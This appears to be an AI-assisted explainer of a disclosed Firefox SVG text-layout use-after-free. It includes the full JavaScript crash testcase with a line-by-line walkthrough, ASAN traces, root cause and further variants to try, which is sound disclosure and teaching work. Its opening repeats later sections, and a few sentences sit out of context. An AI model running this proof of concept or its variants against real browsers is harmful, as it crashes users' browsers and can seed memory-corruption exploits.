    #12 0x7fa83ef32775 in mozilla::dom::Animation::UpdateTiming(mozilla::dom::Animation::SeekFlag, mozilla::dom::Animation::SyncNotifyFlag) /builds/worker/workspace/build/src/dom/animation/Animation.cpp:1346:3
    #13 0x7fa83ef2c0f1 in mozilla::dom::Animation::Tick() /builds/worker/workspace/build/src/dom/animation/Animation.cpp:699:3
    #14 0x7fa844382440 in mozilla::dom::CSSTransition::Tick() /builds/worker/workspace/build/src/layout/style/nsTransitionManager.cpp:337:14
    #15 0x7fa83ef44afe in mozilla::dom::DocumentTimeline::WillRefresh(mozilla::TimeStamp) /builds/worker/workspace/build/src/dom/animation/DocumentTimeline.cpp:184:16
    #16 0x7fa844396517 in nsRefreshDriver::Tick(long, mozilla::TimeStamp) /builds/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:1884:12

The read happens in IsClusterStart (inlined into CharIterator::GetOriginalGlyphOffsets), called from GetGlyphAdvance, called from DoTextPathLayout. The path into that code starts at the refresh driver: a CSS transition ticks, KeyframeEffectReadOnly::CanThrottle asks whether the frame is scrolled out of view, and that question calls TransformFrameRectFromTextChild, which triggers UpdateGlyphPositioning and therefore DoGlyphPositioning and DoTextPathLayout.

The free of the same region is reported separately:

Text
0x612000131768 is located 40 bytes inside of 288-byte region [0x612000131740,0x612000131860)
freed by thread T0 (file:// Content) here:
    #0 0x4c1952 in __interceptor_free /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:68:3
    #1 0x7fa8448e7b61 in ClearTextRuns /builds/worker/workspace/build/src/layout/generic/nsTextFrame.h:626:5
    #2 0x7fa8448e7b61 in nsTextFrame::MarkIntrinsicISizesDirty() /builds/worker/workspace/build/src/layout/generic/nsTextFrame.cpp:8530
    #3 0x7fa8443eeb38 in mozilla::PresShell::FrameNeedsReflow(nsIFrame*, nsIPresShell::IntrinsicDirty, nsFrameState, nsIPresShell::ReflowRootHandling) /builds/worker/workspace/build/src/layout/base/PresShell.cpp:2797:18
    #4 0x7fa84443f14d in StyleChangeReflow /builds/worker/workspace/build/src/layout/base/RestyleManager.cpp:1234:26
    #5 0x7fa84443f14d in mozilla::RestyleManager::ProcessRestyledFrames(nsStyleChangeList&) /builds/worker/workspace/build/src/layout/base/RestyleManager.cpp:1559
    #6 0x7fa84444d8f5 in mozilla::ServoRestyleManager::DoProcessPendingRestyles(mozilla::ServoTraversalFlags) /builds/worker/workspace/build/src/layout/base/ServoRestyleManager.cpp:1188:9
    #7 0x7fa844406ffd in ProcessPendingRestyles /builds/worker/workspace/build/src/layout/base/ServoRestyleManager.cpp:1264:3
    #8 0x7fa844406ffd in ProcessPendingRestyles /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RestyleManagerInlines.h:43
    #9 0x7fa844406ffd in mozilla::PresShell::DoFlushPendingNotifications(mozilla::ChangesToFlush) /builds/worker/workspace/build/src/layout/base/PresShell.cpp:4259
    #10 0x7fa83f3e33c8 in FlushPendingNotifications /builds/worker/workspace/build/src/obj-firefox/dist/include/nsIPresShell.h:579:5
    #11 0x7fa83f3e33c8 in nsIDocument::FlushPendingNotifications(mozilla::ChangesToFlush) /builds/worker/workspace/build/src/dom/base/nsDocument.cpp:7649
    #12 0x7fa8438218af in nsSMILAnimationController::DoSample(bool) /builds/worker/workspace/build/src/dom/smil/nsSMILAnimationController.cpp:440:15
    #13 0x7fa84337257b in Resample /builds/worker/workspace/build/src/dom/smil/nsSMILAnimationController.h:74:21
    #14 0x7fa84337257b in FlushResampleRequests /builds/worker/workspace/build/src/dom/smil/nsSMILAnimationController.h:90
    #15 0x7fa84337257b in FlushAnimations /builds/worker/workspace/build/src/dom/svg/nsSVGElement.cpp:2677
    #16 0x7fa84337257b in nsSVGEnum::DOMAnimatedEnum::AnimVal() /builds/worker/workspace/build/src/dom/svg/nsSVGEnum.h:97
    #17 0x7fa844a7bf5d in SVGTextFrame::DoTextPathLayout() /builds/worker/workspace/build/src/layout/svg/SVGTextFrame.cpp:5099:31
    #18 0x7fa844a7fdb5 in SVGTextFrame::DoGlyphPositioning() /builds/worker/workspace/build/src/layout/svg/SVGTextFrame.cpp:5365:3
    #19 0x7fa844a82ce8 in UpdateGlyphPositioning /builds/worker/workspace/build/src/layout/svg/SVGTextFrame.cpp:5433:5
    #20 0x7fa844a82ce8 in SVGTextFrame::TransformFrameRectFromTextChild(nsRect const&, nsIFrame*) /builds/worker/workspace/build/src/layout/svg/SVGTextFrame.cpp:5734

The free happens inside DoTextPathLayout itself, at line 5099, when it reads an animated SVG enum value. That read flushes SMIL animations, which flushes pending notifications, which processes pending restyles, which calls StyleChangeReflow and FrameNeedsReflow, which calls nsTextFrame::MarkIntrinsicISizesDirty, which calls ClearTextRuns and frees the text run. Control then returns into DoTextPathLayout, which continues at line 5108 and asks the CharIterator for a glyph advance, reading the text run that was just freed.

The allocation site confirms the object is a text run:

Text
previously allocated by thread T0 (file:// Content) here:
    #0 0x4c1c93 in malloc /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:88:3
    #1 0x7fa83ec6d177 in gfxTextRun::AllocateStorageForTextRun(unsigned long, unsigned int) /builds/worker/workspace/build/src/gfx/thebes/gfxTextRun.cpp:128:21
    #2 0x7fa8448a771a in Create /builds/worker/workspace/build/src/layout/generic/nsTextRunTransformations.cpp:51:19
    #3 0x7fa8448a771a in MakeTextRun /builds/worker/workspace/build/src/layout/generic/nsTextRunTransformations.cpp:114
    #4 0x7fa8448a771a in nsTransformingTextRunFactory::MakeTextRun(unsigned char const*, unsigned int, gfxTextRunFactory::Parameters const*, gfxFontGroup*, mozilla::gfx::ShapedTextFlags, nsTextFrameUtils::Flags, nsTArray<RefPtr<nsTransformedCharStyle> >&&, bool) /builds/worker/workspace/build/src/layout/generic/nsTextRunTransformations.cpp:131
    #5 0x7fa8448a1fb7 in BuildTextRunsScanner::BuildTextRunForFrames(void*) /builds/worker/workspace/build/src/layout/generic/nsTextFrame.cpp:2396:38

ASAN summarises the fault as heap-use-after-free ... in IsClusterStart, with the freed region marked fd in the shadow bytes around 0x0c248001e2e0.

Root cause

SVGTextFrame::DoTextPathLayout obtains a CharIterator over the text run and then, partway through its work, performs an operation that can synchronously flush style and layout. In this testcase that operation is reading an animated SVG enum value (nsSVGEnum::DOMAnimatedEnum::AnimVal), which flushes SMIL animations and, through FlushPendingNotifications, processes pending restyles. A style change on the text frame calls MarkIntrinsicISizesDirty, which clears the text runs and frees the gfxTextRun the iterator is still pointing at. When DoTextPathLayout resumes and calls GetGlyphAdvance, the iterator dereferences the freed run.

The underlying mistake is that the iterator holds a raw pointer to a text run across a call that can trigger reflow and text run invalidation. The report does not state which defence, if any, was expected to prevent this; the re-entrancy through SMIL and restyle flushing is the mechanism that defeats the assumption that the text run stays alive for the duration of the layout pass.

Impact

ASAN reports a heap-use-after-free read in the content process. The report does not describe any attempt to turn the crash into memory corruption or code execution, and does not state a severity or bounty. What it establishes is that a page can drive Firefox's SVG text layout into reading freed heap memory, which at minimum is a denial of service through a crashed content process.

Fix

The report does not include a patch or describe a fix.

Variants to test

  1. Other SVG attributes whose animated value is read during layout, such as animated lengths or transforms on text elements. A positive result is an ASAN use-after-free in SVGTextFrame with the free occurring in ClearTextRuns.
  2. SMIL <set> or <animate> elements targeting text presentation attributes (font-weight, font-size, letter spacing) combined with a CSS transition on the same subtree. A positive result is the same free-then-read pattern in the ASAN trace.
  3. Changing viewBox or geometry attributes on an SVG element while a transition is running, to force glyph repositioning during the animation tick. A positive result is a crash whose stack passes through TransformFrameRectFromTextChild and DoGlyphPositioning.
  4. Injecting style content into a head element of an SVG document to trigger restyle flushes at a controlled moment. A positive result is a restyle that frees a text run while an iterator over it is live.

Hunting notes

This kind of bug hides in layout code that iterates over a text run while calling into other subsystems. The signals are calls to animation or SMIL value getters, style flushes or reflow triggers inside a loop that also holds a pointer to a text run. In this report the trigger is a timing chain: a popup, a 400 ms delay, a 235 ms transition, a 240 ms delay, then a viewBox change and injected markup.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 18 min read.

What happened, in plain words

A security researcher named Nils found a bug in Firefox. When a web page did a particular sequence of things to an SVG image, Firefox ended up reading from a piece of memory that it had already thrown away. That kind of mistake is called a use-after-free: the program frees a block of memory, then later uses it as if it were still there. The memory may already have been handed to something else, so the program reads garbage, and in the worst case an attacker can arrange for that garbage to be something they control.

In this case the crash happened in the part of Firefox that lays out text inside SVG images. The report was filed with Mozilla, the organisation that makes Firefox, and was made public on 30 March 2018. The weakness class is use after free, and the affected area is the SVG text layout code.

A few words before we start, because the rest of the article leans on them:

  • SVG is a way of drawing pictures using text. Instead of storing pixels, an SVG file contains instructions like "draw a circle here" or "put this word along this curve". Browsers read those instructions and paint the picture. SVG is common for logos, icons and charts because it stays sharp at any size.
  • SVG text is the part of SVG that draws letters. Because the letters are described as text rather than pixels, the browser has to work out where each letter goes, which font to use, and how wide each letter is. That work is called layout.
  • A text run is the browser's internal record of a piece of text that has been prepared for drawing: the characters, the font, the widths of each letter and so on. Firefox keeps text runs in memory and reuses them while the text does not change. When the text or its styling changes, the old text run is thrown away and a new one is built.
  • A pointer is a number that says where in memory something lives. If you keep a pointer to a text run and the text run is freed, the pointer now points at memory that no longer belongs to you. Using it is the use-after-free.
  • ASAN (AddressSanitizer) is a debugging tool built into special test versions of programs. It watches every memory allocation and free, and when the program touches memory it has already freed, ASAN stops it immediately and prints a detailed report. The report you will see below is one of those ASAN reports.

Context

The affected component is SVGTextFrame, the internal class that lays out SVG <text> content. Two parts of it matter here: the code that positions letters along a text path (DoTextPathLayout), and the glyph positioning pass that calls it (DoGlyphPositioning).

The bug is a heap-use-after-free. A gfxTextRun (Firefox's text run object) is freed while an iterator over it, mozilla::CharIterator, still holds a pointer into it. An iterator is a small helper object that walks through a collection one item at a time, remembering where it is. If the collection is destroyed underneath it, the iterator is left pointing at nothing. The iterator later reads from the freed memory inside GetOriginalGlyphOffsets.

The reporter is Nils, the program is Mozilla, and the weakness class is use after free. The report was disclosed on 30 March 2018.

Setup

The crash was reproduced on the latest ASAN build of Firefox 61.0a1, with SourceStamp [redacted]. A SourceStamp is an identifier for the exact version of the source code that was built, so anyone can rebuild the same binary and reproduce the result.

The testcase consists of two files that must sit in the same directory: a crash.html driver page and an attached svg.svg file. The driver page is the page you open in the browser; it loads the SVG and then manipulates it.

Finding it

The reporter does not describe how the bug was originally spotted. What the report gives is a minimal, timing-driven testcase that reliably reaches the free and the subsequent read, plus the full ASAN trace showing both the allocation and the free of the same 288-byte region. "Timing-driven" means the testcase relies on delays: it does one thing, waits a set number of milliseconds, does another, and so on, so that the browser's internal animation and layout machinery ends up in the right state at the right moment.

Exploitation

Step 1: open the SVG in a popup and grab two elements

The driver page opens the SVG in a small popup window and, once it has loaded, resolves two elements inside it by id.

HTML
<script>
function start() {
	o100=window.open('svg.svg','p58','height=6');
	o100.onload=fun0;
	setTimeout(fun1, 400);
}
function fun0(e) {
	o101=e.target;;
	o109=o101.getElementById('id1');
	o120=o101.getElementById('id8');
}

Line by line:

  1. function start() { begins a function called start. It is run when the driver page finishes loading, because of the onload="start()" attribute on the <body> tag further down.
  2. o100=window.open('svg.svg','p58','height=6'); opens the file svg.svg in a new popup window. 'p58' is just a name for that window, and 'height=6' asks for a popup only 6 pixels tall. The returned handle to the popup is stored in o100.
  3. o100.onload=fun0; says: when the popup has finished loading, call the function fun0.
  4. setTimeout(fun1, 400); schedules the function fun1 to run 400 milliseconds later. This gives the popup time to load and fun0 time to run first.
  5. function fun0(e) { begins the load handler. e is the load event, and e.target is the thing that loaded, here the popup's document.
  6. o101=e.target;; stores that document in o101. The double semicolon is harmless.
  7. o109=o101.getElementById('id1'); looks up the element with id id1 inside the SVG document and stores it in o109.
  8. o120=o101.getElementById('id8'); does the same for the element with id id8 and stores it in o120.

Why this step: the later steps need handles to two specific elements inside the SVG, and they need the SVG document itself. Grabbing them once, right after load, keeps the rest of the testcase simple.

Step 2: mutate the document and install a transition

JavaScript
function fun1() {
	o167=o109.ownerDocument;
	o168=document.createElement('head');
	o167.documentElement.appendChild(o168);
	o120.setAttribute('width','393216');
	o206=document.createElement('head');
	o167.documentElement.appendChild(o206);
	o207=document.createElement('style');
	o206.appendChild(o207);
	o207.textContent="*{ -moz-transition: 235ms; -moz-border-end-color: green; border-right-style: inset";
	setTimeout(fun2,240);
}

Line by line:

  1. o167=o109.ownerDocument; gets the document that id1 belongs to, which is the SVG document in the popup.
  2. o168=document.createElement('head'); creates a new head element. In a normal web page, head holds metadata such as styles. Here it is being used as a container to inject content into the SVG document later.
  3. o167.documentElement.appendChild(o168); attaches that head to the root element of the SVG document. The variable o168 is kept so step 3 can fill it.
  4. o120.setAttribute('width','393216'); sets a width attribute of 393216 on the element with id id8.
  5. o206=document.createElement('head'); creates a second head element.
  6. o167.documentElement.appendChild(o206); attaches it to the SVG document root.
  7. o207=document.createElement('style'); creates a style element, which holds CSS rules.
  8. o206.appendChild(o207); puts the style element inside the second head.
  9. o207.textContent="*{ -moz-transition: 235ms; -moz-border-end-color: green; border-right-style: inset"; fills the style element with a CSS rule. * means "every element". -moz-transition: 235ms tells the browser to animate any change to a style property over 235 milliseconds instead of applying it instantly. -moz-border-end-color: green and border-right-style: inset are the properties being changed. Note the rule is not closed with a }; the browser tolerates that.
  10. setTimeout(fun2,240); schedules fun2 to run 240 milliseconds later, just after the 235 ms transition would have finished.

Step 3: change the viewBox and inject SVG markup

JavaScript
function fun2() {
	o120.setAttribute('viewBox','0 0 1000 1000');
	o5=document.createElement("div");
	o5.innerHTML="<svg height='10px' xmlns='http://www.w3.org/2000/svg'><set attributeName='font-weight'><style>*{{}}*{ background-position-x: 1px";
	o168.innerHTML=o5.innerHTML;
}

Line by line:

  1. o120.setAttribute('viewBox','0 0 1000 1000'); sets the viewBox attribute on id8. A viewBox defines the internal coordinate system of an SVG: here it says the drawing area spans from 0,0 to 1000,1000.
  2. o5=document.createElement("div"); creates a plain div element to use as a scratch container.
  3. o5.innerHTML="<svg height='10px' xmlns='http://www.w3.org/2000/svg'><set attributeName='font-weight'><style>*{{}}*{ background-position-x: 1px"; puts a chunk of markup into the div. The markup contains an inline SVG with a <set> element. <set> is a SMIL animation element: SMIL is SVG's built-in animation language, and <set> simply sets an attribute to a value. Here it targets font-weight, the boldness of text. The markup also contains a <style> fragment with odd content. The {{}} is a doubled brace pair, and the fragment is not closed properly.
  4. o168.innerHTML=o5.innerHTML; copies that markup into the first head element created in step 2, which lives inside the SVG document.

Step 4: the crash

ASAN reports a heap-use-after-free, a READ of size 8, in the content process. The content process is the sandboxed process where Firefox renders web pages; it is kept separate from the rest of the browser so that a bug in page rendering is contained.

Text
==15139==ERROR: AddressSanitizer: heap-use-after-free on address 0x612000131768 at pc 0x7fa844a5c5d0 bp 0x7ffdd01c31d0 sp 0x7fa844a5c5c8
READ of size 8 at 0x612000131768 thread T0 (file:// Content)
    #0 0x7fa844a5c5cf in IsClusterStart /builds/worker/workspace/build/src/obj-firefox/dist/include/gfxTextRun.h:113:16
    #1 0x7fa844a5c5cf in mozilla::CharIterator::GetOriginalGlyphOffsets(unsigned int&, unsigned int&) const /builds/worker/workspace/build/src/layout/svg/SVGTextFrame.cpp:2596
    #2 0x7fa844a5c6ea in mozilla::CharIterator::GetGlyphAdvance(nsPresContext*) const /builds/worker/workspace/build/src/layout/svg/SVGTextFrame.cpp:2618:3
    #3 0x7fa844a7bfee in SVGTextFrame::DoTextPathLayout() /builds/worker/workspace/build/src/layout/svg/SVGTextFrame.cpp:5108:12
    #4 0x7fa844a7fdb5 in SVGTextFrame::DoGlyphPositioning() /builds/worker/workspace/build/src/layout/svg/SVGTextFrame.cpp:5365:3
    #5 0x7fa844a82ce8 in UpdateGlyphPositioning /builds/worker/workspace/build/src/layout/svg/SVGTextFrame.cpp:5433:5
    #6 0x7fa844a82ce8 in SVGTextFrame::TransformFrameRectFromTextChild(nsRect const&, nsIFrame*) /builds/worker/workspace/build/src/layout/svg/SVGTextFrame.cpp:5734
    #7 0x7fa844528b3c in nsLayoutUtils::TransformFrameRectToAncestor(nsIFrame*, nsRect const&, nsIFrame const*, bool*, mozilla::Maybe<mozilla::gfx::Matrix4x4TypedFlagged<mozilla::gfx::UnknownUnits, mozilla::gfx::UnknownUnits> >*, bool, nsIFrame**) /builds/worker/workspace/build/src/layout/base/nsLayoutUtils.cpp:3139:27
    #8 0x7fa84472631a in IsFrameScrolledOutOfView(nsIFrame*, nsRect const&, nsIFrame*) /builds/worker/workspace/build/src/layout/generic/nsFrame.cpp:11026:5
    #9 0x7fa844726190 in nsIFrame::IsScrolledOutOfView() /builds/worker/workspace/build/src/layout/generic/nsFrame.cpp:11057:10
    #10 0x7fa83ef594a8 in mozilla::dom::KeyframeEffectReadOnly::CanThrottle() const /builds/worker/workspace/build/src/dom/animation/KeyframeEffectReadOnly.cpp:1172:16
    #11 0x7fa83ef345d2 in mozilla::dom::KeyframeEffectReadOnly::NotifyAnimationTimingUpdated() /builds/worker/workspace/build/src/dom/animation/KeyframeEffectReadOnly.cpp:134:7
    #12 0x7fa83ef32775 in mozilla::dom::Animation::UpdateTiming(mozilla::dom::Animation::SeekFlag, mozilla::dom::Animation::SyncNotifyFlag) /builds/worker/workspace/build/src/dom/animation/Animation.cpp:1346:3
    #13 0x7fa83ef2c0f1 in mozilla::dom::Animation::Tick() /builds/worker/workspace/build/src/dom/animation/Animation.cpp:699:3
    #14 0x7fa844382440 in mozilla::dom::CSSTransition::Tick() /builds/worker/workspace/build/src/layout/style/nsTransitionManager.cpp:337:14
    #15 0x7fa83ef44afe in mozilla::dom::DocumentTimeline::WillRefresh(mozilla::TimeStamp) /builds/worker/workspace/build/src/dom/animation/DocumentTimeline.cpp:184:16
    #16 0x7fa844396517 in nsRefreshDriver::Tick(long, mozilla::TimeStamp) /builds/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:1884:12

How to read this: each numbered line is one step in the chain of function calls that led to the fault, with the most recent call at the top. The top line, #0, is where the bad read happened: IsClusterStart, a small function that checks whether a character begins a cluster (a group of characters drawn as one unit). It was inlined into CharIterator::GetOriginalGlyphOffsets, which is why both names appear on the same line. That function was called from GetGlyphAdvance, which was called from DoTextPathLayout.

The path into that code starts at the refresh driver. The refresh driver is the part of Firefox that ticks on every screen refresh and asks animations to update. A CSS transition ticks, KeyframeEffectReadOnly::CanThrottle asks whether the frame is scrolled out of view (a check that lets the browser skip work for things nobody can see), and that question calls TransformFrameRectFromTextChild, which triggers UpdateGlyphPositioning and therefore DoGlyphPositioning and DoTextPathLayout.

The free of the same region is reported separately:

Text
0x612000131768 is located 40 bytes inside of 288-byte region [0x612000131740,0x612000131860)
freed by thread T0 (file:// Content) here:
    #0 0x4c1952 in __interceptor_free /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:68:3
    #1 0x7fa8448e7b61 in ClearTextRuns /builds/worker/workspace/build/src/layout/generic/nsTextFrame.h:626:5
    #2 0x7fa8448e7b61 in nsTextFrame::MarkIntrinsicISizesDirty() /builds/worker/workspace/build/src/layout/generic/nsTextFrame.cpp:8530
    #3 0x7fa8443eeb38 in mozilla::PresShell::FrameNeedsReflow(nsIFrame*, nsIPresShell::IntrinsicDirty, nsFrameState, nsIPresShell::ReflowRootHandling) /builds/worker/workspace/build/src/layout/base/PresShell.cpp:2797:18
    #4 0x7fa84443f14d in StyleChangeReflow /builds/worker/workspace/build/src/layout/base/RestyleManager.cpp:1234:26
    #5 0x7fa84443f14d in mozilla::RestyleManager::ProcessRestyledFrames(nsStyleChangeList&) /builds/worker/workspace/build/src/layout/base/RestyleManager.cpp:1559
    #6 0x7fa84444d8f5 in mozilla::ServoRestyleManager::DoProcessPendingRestyles(mozilla::ServoTraversalFlags) /builds/worker/workspace/build/src/layout/base/ServoRestyleManager.cpp:1188:9
    #7 0x7fa844406ffd in ProcessPendingRestyles /builds/worker/workspace/build/src/layout/base/ServoRestyleManager.cpp:1264:3
    #8 0x7fa844406ffd in ProcessPendingRestyles /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RestyleManagerInlines.h:43
    #9 0x7fa844406ffd in mozilla::PresShell::DoFlushPendingNotifications(mozilla::ChangesToFlush) /builds/worker/workspace/build/src/layout/base/PresShell.cpp:4259
    #10 0x7fa83f3e33c8 in FlushPendingNotifications /builds/worker/workspace/build/src/obj-firefox/dist/include/nsIPresShell.h:579:5
    #11 0x7fa83f3e33c8 in nsIDocument::FlushPendingNotifications(mozilla::ChangesToFlush) /builds/worker/workspace/build/src/dom/base/nsDocument.cpp:7649
    #12 0x7fa8438218af in nsSMILAnimationController::DoSample(bool) /builds/worker/workspace/build/src/dom/smil/nsSMILAnimationController.cpp:440:15
    #13 0x7fa84337257b in Resample /builds/worker/workspace/build/src/dom/smil/nsSMILAnimationController.h:74:21
    #14 0x7fa84337257b in FlushResampleRequests /builds/worker/workspace/build/src/dom/smil/nsSMILAnimationController.h:90
    #15 0x7fa84337257b in FlushAnimations /builds/worker/workspace/build/src/dom/svg/nsSVGElement.cpp:2677
    #16 0x7fa84337257b in nsSVGEnum::DOMAnimatedEnum::AnimVal() /builds/worker/workspace/build/src/dom/svg/nsSVGEnum.h:97
    #17 0x7fa844a7bf5d in SVGTextFrame::DoTextPathLayout() /builds/worker/workspace/build/src/layout/svg/SVGTextFrame.cpp:5099:31
    #18 0x7fa844a7fdb5 in SVGTextFrame::DoGlyphPositioning() /builds/worker/workspace/build/src/layout/svg/SVGTextFrame.cpp:5365:3
    #19 0x7fa844a82ce8 in UpdateGlyphPositioning /builds/worker/workspace/build/src/layout/svg/SVGTextFrame.cpp:5433:5
    #20 0x7fa844a82ce8 in SVGTextFrame::TransformFrameRectFromTextChild(nsRect const&, nsIFrame*) /builds/worker/workspace/build/src/layout/svg/SVGTextFrame.cpp:5734

This second trace shows where the memory was freed. The free happens inside DoTextPathLayout itself, at line 5099, when it reads an animated SVG enum value. An enum here is just a named choice among a fixed set of values, such as a style keyword. Reading the animated value flushes SMIL animations, which flushes pending notifications, which processes pending restyles, which calls StyleChangeReflow and FrameNeedsReflow, which calls nsTextFrame::MarkIntrinsicISizesDirty, which calls ClearTextRuns and frees the text run.

Notice that DoTextPathLayout appears in both traces. That is the heart of the bug: the same function is still running when the free happens. Control then returns into DoTextPathLayout, which continues at line 5108 and asks the CharIterator for a glyph advance, reading the text run that was just freed.

The allocation site confirms the object is a text run:

Text
previously allocated by thread T0 (file:// Content) here:
    #0 0x4c1c93 in malloc /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:88:3
    #1 0x7fa83ec6d177 in gfxTextRun::AllocateStorageForTextRun(unsigned long, unsigned int) /builds/worker/workspace/build/src/gfx/thebes/gfxTextRun.cpp:128:21
    #2 0x7fa8448a771a in Create /builds/worker/workspace/build/src/layout/generic/nsTextRunTransformations.cpp:51:19
    #3 0x7fa8448a771a in MakeTextRun /builds/worker/workspace/build/src/layout/generic/nsTextRunTransformations.cpp:114
    #4 0x7fa8448a771a in nsTransformingTextRunFactory::MakeTextRun(unsigned char const*, unsigned int, gfxTextRunFactory::Parameters const*, gfxFontGroup*, mozilla::gfx::ShapedTextFlags, nsTextFrameUtils::Flags, nsTArray<RefPtr<nsTransformedCharStyle> >&&, bool) /builds/worker/workspace/build/src/layout/generic/nsTextRunTransformations.cpp:131
    #5 0x7fa8448a1fb7 in BuildTextRunsScanner::BuildTextRunForFrames(void*) /builds/worker/workspace/build/src/layout/generic/nsTextFrame.cpp:2396:38

ASAN keeps a record of every allocation, so when it reports a use-after-free it can also show where the memory was first handed out. Here the allocation went through gfxTextRun::AllocateStorageForTextRun, which is exactly the function that reserves memory for a text run. That confirms the freed block was a text run and not some unrelated object.

ASAN summarises the fault as heap-use-after-free ... in IsClusterStart, with the freed region marked fd in the shadow bytes around 0x0c248001e2e0. Shadow bytes are ASAN's bookkeeping: for every chunk of real memory it keeps a small map saying whether that memory is currently valid, freed, or off limits. The value fd means "freed heap region". Seeing fd at the address the program tried to read is ASAN's way of saying, unambiguously, that this memory had been released.

Root cause

SVGTextFrame::DoTextPathLayout obtains a CharIterator over the text run and then, partway through its work, performs an operation that can synchronously flush style and layout. "Synchronously" means the flush happens right there, inside the call, before it returns, rather than being deferred to later. In this testcase that operation is reading an animated SVG enum value (nsSVGEnum::DOMAnimatedEnum::AnimVal), which flushes SMIL animations and, through FlushPendingNotifications, processes pending restyles. A style change on the text frame calls MarkIntrinsicISizesDirty, which clears the text runs and frees the gfxTextRun the iterator is still pointing at. When DoTextPathLayout resumes and calls GetGlyphAdvance, the iterator dereferences the freed run.

The underlying mistake is that the iterator holds a raw pointer to a text run across a call that can trigger reflow and text run invalidation. A raw pointer is one that does not keep the object alive: it is just an address, with no ownership attached. The report does not state which defence, if any, was expected to prevent this; the re-entrancy through SMIL and restyle flushing is the mechanism that defeats the assumption that the text run stays alive for the duration of the layout pass. Re-entrancy means a function is called again, or other code runs, while an earlier call to it has not yet finished.

Impact

ASAN reports a heap-use-after-free read in the content process. The report does not describe any attempt to turn the crash into memory corruption or code execution, and does not state a severity or bounty. What it establishes is that a page can drive Firefox's SVG text layout into reading freed heap memory, which at minimum is a denial of service through a crashed content process. A denial of service means making a program or service unusable, here by crashing the tab's rendering process.

Fix

The report does not include a patch or describe a fix. A strong reference is a reference that tells the memory manager "do not free this while I am using it".

Variants to test

These are follow-up experiments someone could run to see whether the same class of bug appears elsewhere. Each lists what to try and what a positive result would look like.

  1. Other SVG attributes whose animated value is read during layout, such as animated lengths or transforms on text elements. A positive result is an ASAN use-after-free in SVGTextFrame with the free occurring in ClearTextRuns.
  2. SMIL <set> or <animate> elements targeting text presentation attributes (font-weight, font-size, letter spacing) combined with a CSS transition on the same subtree. A positive result is the same free-then-read pattern in the ASAN trace.
  3. Changing viewBox or geometry attributes on an SVG element while a transition is running, to force glyph repositioning during the animation tick. A positive result is a crash whose stack passes through TransformFrameRectFromTextChild and DoGlyphPositioning.
  4. Injecting style content into a head element of an SVG document to trigger restyle flushes at a controlled moment. A positive result is a restyle that frees a text run while an iterator over it is live.

Hunting notes

This kind of bug hides in layout code that iterates over a text run while calling into other subsystems. The signals are calls to animation or SMIL value getters, style flushes or reflow triggers inside a loop that also holds a pointer to a text run. In this report the trigger is a timing chain: a popup, a 400 ms delay, a 235 ms transition, a 240 ms delay, then a viewBox change and injected markup. A deterministic testcase is one that produces the same result every time it is run, rather than only occasionally.

Glossary

  • ASAN (AddressSanitizer): a debugging tool that watches memory allocations and frees and stops the program the moment it touches freed memory, printing a detailed report.
  • Content process: the sandboxed process in which Firefox renders web pages, kept separate from the rest of the browser.
  • CSS transition: a rule that makes a style change happen gradually over a set time instead of instantly.
  • Denial of service: making a program or service unusable, here by crashing the rendering process.
  • Deterministic: producing the same result every time it is run.
  • Enum: a named choice among a fixed set of values, such as a style keyword.
  • Glyph: the drawn shape of a character in a particular font.
  • Heap: the area of memory a program uses for objects it creates while running, as opposed to fixed-size storage.
  • Iterator: a helper object that walks through a collection one item at a time and remembers its position.
  • Layout: the work a browser does to decide where each element and each letter goes on the page.
  • Pointer: a number that says where in memory something lives.
  • Raw pointer: a pointer that does not keep the object alive; it is just an address with no ownership attached.
  • Re-entrancy: a function being called again, or other code running, while an earlier call to it has not yet finished.
  • Refresh driver: the part of Firefox that ticks on every screen refresh and asks animations to update.
  • Shadow bytes: ASAN's bookkeeping map that records, for each chunk of memory, whether it is valid, freed or off limits.
  • SMIL: SVG's built-in animation language, used to animate attributes over time.
  • SourceStamp: an identifier for the exact version of source code a build was made from.
  • Strong reference: a reference that tells the memory manager not to free an object while it is in use.
  • SVG: a way of describing pictures with text instructions rather than pixels.
  • Text run: the browser's internal record of a piece of text prepared for drawing, including characters, font and letter widths.
  • Use-after-free: a bug where a program frees a block of memory and then later uses it as if it were still valid.
  • ViewBox: an SVG attribute that defines the internal coordinate system of the drawing.

More by Nils

View all

133 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.